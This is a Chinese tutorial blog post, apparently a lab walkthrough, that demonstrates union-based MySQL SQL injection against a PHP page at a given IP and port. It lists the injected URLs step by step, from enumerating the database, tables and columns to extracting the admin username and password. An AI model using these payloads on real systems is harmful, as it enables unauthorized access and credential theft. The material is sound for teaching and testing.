SQL注入 mysql4.0版本_SQL注入(上)

查相关内容(一定要在回显点处查看!)

查数据库名

http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database()

3fd6fadd822f4ab547a97ebf0db032df.png

查数据库版本(mysql>5.0,5.0 以后的版本才有information_schema, information_schema存储着数据库名、表名、列的数据类型、访问权限等)

http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()

28ab5f1fd1b5a98a49dc869b2b248a8e.png

查表名

http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

3f56792b362f0d25f0e6c51721e32f23.png

查字段名

http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

a06036d4cf78cbb144b6aeb39c20eda3.png

http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

f73ded191f80c9531f7ec9f450b391a4.png

http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

09bdeb0706eaa5fff9d764050b54796e.png

查出 admin 表里 有 id username password 三个字段

查询字段内容

构造

?id=1 and 1=2 union select 1,username from admin limit 0,1

6781429c310062f7b9d225d1f3cd3502.png

构造

?id=1 and 1=2 union select 1,password from admin limit 1,1

2514c147307387ed1658d509082ccfb5.png

limit 1,1 没有回显,说明只有一个用户

构造

?id=1 and 1=2 union select 1,password from admin limit 0,1

2f9b592d9aeb3435803f67a569eba1a5.png

如此,得到了管理员账号和密码

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值